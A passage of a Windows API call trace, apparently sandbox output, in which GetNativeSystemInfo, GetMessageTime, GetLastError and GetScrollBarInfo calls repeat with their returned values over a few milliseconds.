dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.018] GetMessageTime () returned 0 [0029.018] GetLastError () returned 0x578 [0029.018] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.018] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.018] GetMessageTime () returned 0 [0029.018] GetLastError () returned 0x578 [0029.018] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.018] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.018] GetMessageTime () returned 0 [0029.018] GetLastError () returned 0x578 [0029.018] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.018] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.018] GetMessageTime () returned 0 [0029.018] GetLastError () returned 0x578 [0029.018] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.018] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.019] GetMessageTime () returned 0 [0029.019] GetLastError () returned 0x578 [0029.019] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.019] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.019] GetMessageTime () returned 0 [0029.019] GetLastError () returned 0x578 [0029.019] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.019] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.019] GetMessageTime () returned 0 [0029.019] GetLastError () returned 0x578 [0029.019] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.019] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.019] GetMessageTime () returned 0 [0029.019] GetLastError () returned 0x578 [0029.019] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.019] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.019] GetMessageTime () returned 0 [0029.019] GetLastError () returned 0x578 [0029.019] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.019] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.019] GetMessageTime () returned 0 [0029.019] GetLastError () returned 0x578 [0029.019] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.020] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.020] GetMessageTime () returned 0 [0029.020] GetLastError () returned 0x578 [0029.020] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.020] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.020] GetMessageTime () returned 0 [0029.020] GetLastError () returned 0x578 [0029.020] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.020] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.020] GetMessageTime () returned 0 [0029.020] GetLastError () returned 0x578 [0029.020] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.020] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.020] GetMessageTime () returned 0 [0029.020] GetLastError () returned 0x578 [0029.021] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.021] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.021] GetMessageTime () returned 0 [0029.021] GetLastError () returned 0x578 [0029.021] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.021] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.021] GetMessageTime () returned 0 [0029.021] GetLastError () returned 0x578 [0029.021] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.021] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.021] GetMessageTime () returned 0 [0029.021] GetLastError () returned 0x578 [0029.021] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.021] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.021] GetMessageTime () returned 0 [0029.021] GetLastError () returned 0x578 [0029.021] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.021] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.021] GetMessageTime () returned 0 [0029.021] GetLastError () returned 0x578 [0029.022] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.022] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.022] GetMessageTime () returned 0 [0029.022] GetLastError () returned 0x578 [0029.022] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.022] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.022] GetMessageTime () returned 0 [0029.022] GetLastError () returned 0x578 [0029.022] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.022] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.022] GetMessageTime () returned 0 [0029.022] GetLastError () returned 0x578 [0029.022] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.022] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.022] GetMessageTime () returned 0 [0029.022] GetLastError () returned 0x578 [0029.022] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.022] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.022] GetMessageTime () returned 0 [0029.022] GetLastError () returned 0x578 [0029.022] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.022] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.022] GetMessageTime () returned 0 [0029.022] GetLastError () returned 0x578 [0029.023] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.023] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.023] GetMessageTime () returned 0 [0029.023] GetLastError () returned 0x578 [0029.023] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.023] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.023] GetMessageTime () returned 0 [0029.023] GetLastError () returned 0x578 [0029.023] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.023] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.023] GetMessageTime () returned 0 [0029.023] GetLastError () returned 0x578 [0029.023] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.023] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.023] GetMessageTime () returned 0 [0029.023] GetLastError () returned 0x578 [0029.023] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.023] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.023] GetMessageTime () returned 0 [0029.023] GetLastError () returned 0x578 [0029.023] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.023] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.023] GetMessageTime () returned 0 [0029.024] GetLastError () returned 0x578 [0029.024] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.024] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.024] GetMessageTime () returned 0 [0029.024] GetLastError () returned 0x578 [0029.024] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.024] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.024] GetMessageTime () returned 0 [0029.024] GetLastError () returned 0x578 [0029.024] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.024] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.024] GetMessageTime () returned 0 [0029.024] GetLastError () returned 0x578 [0029.024] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.024] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.024] GetMessageTime () returned 0 [0029.024] GetLastError () returned 0x578 [0029.024] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.024] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.024] GetMessageTime () returned 0 [0029.024] GetLastError () returned 0x578 [0029.024] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.024] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.024] GetMessageTime () returned 0 [0029.025] GetLastError () returned 0x578 [0029.025] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.025] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.025] GetMessageTime () returned 0 [0029.025] GetLastError () returned 0x578 [0029.025] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.025] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.025] GetMessageTime () returned 0 [0029.025] GetLastError () returned 0x578 [0029.025] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.025] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.025] GetMessageTime () returned 0 [0029.025] GetLastError () returned 0x578 [0029.025] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.025] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.025] GetMessageTime () returned 0 [0029.025] GetLastError () returned 0x578 [0029.025] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.025] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.025] GetMessageTime () returned 0 [0029.025] GetLastError () returned 0x578 [0029.025] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.025] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.026] GetMessageTime () returned 0 [0029.026] GetLastError () returned 0x578 [0029.026] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.026] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.026] GetMessageTime () returned 0 [0029.026] GetLastError () returned 0x578 [0029.026] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.026] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.026] GetMessageTime () returned 0 [0029.026] GetLastError () returned 0x578 [0029.026] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.026] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0029.026] GetMessageTime () returned 0 [0029.026] GetLastError () returned 0x578 [0029.026] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0029.026] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: 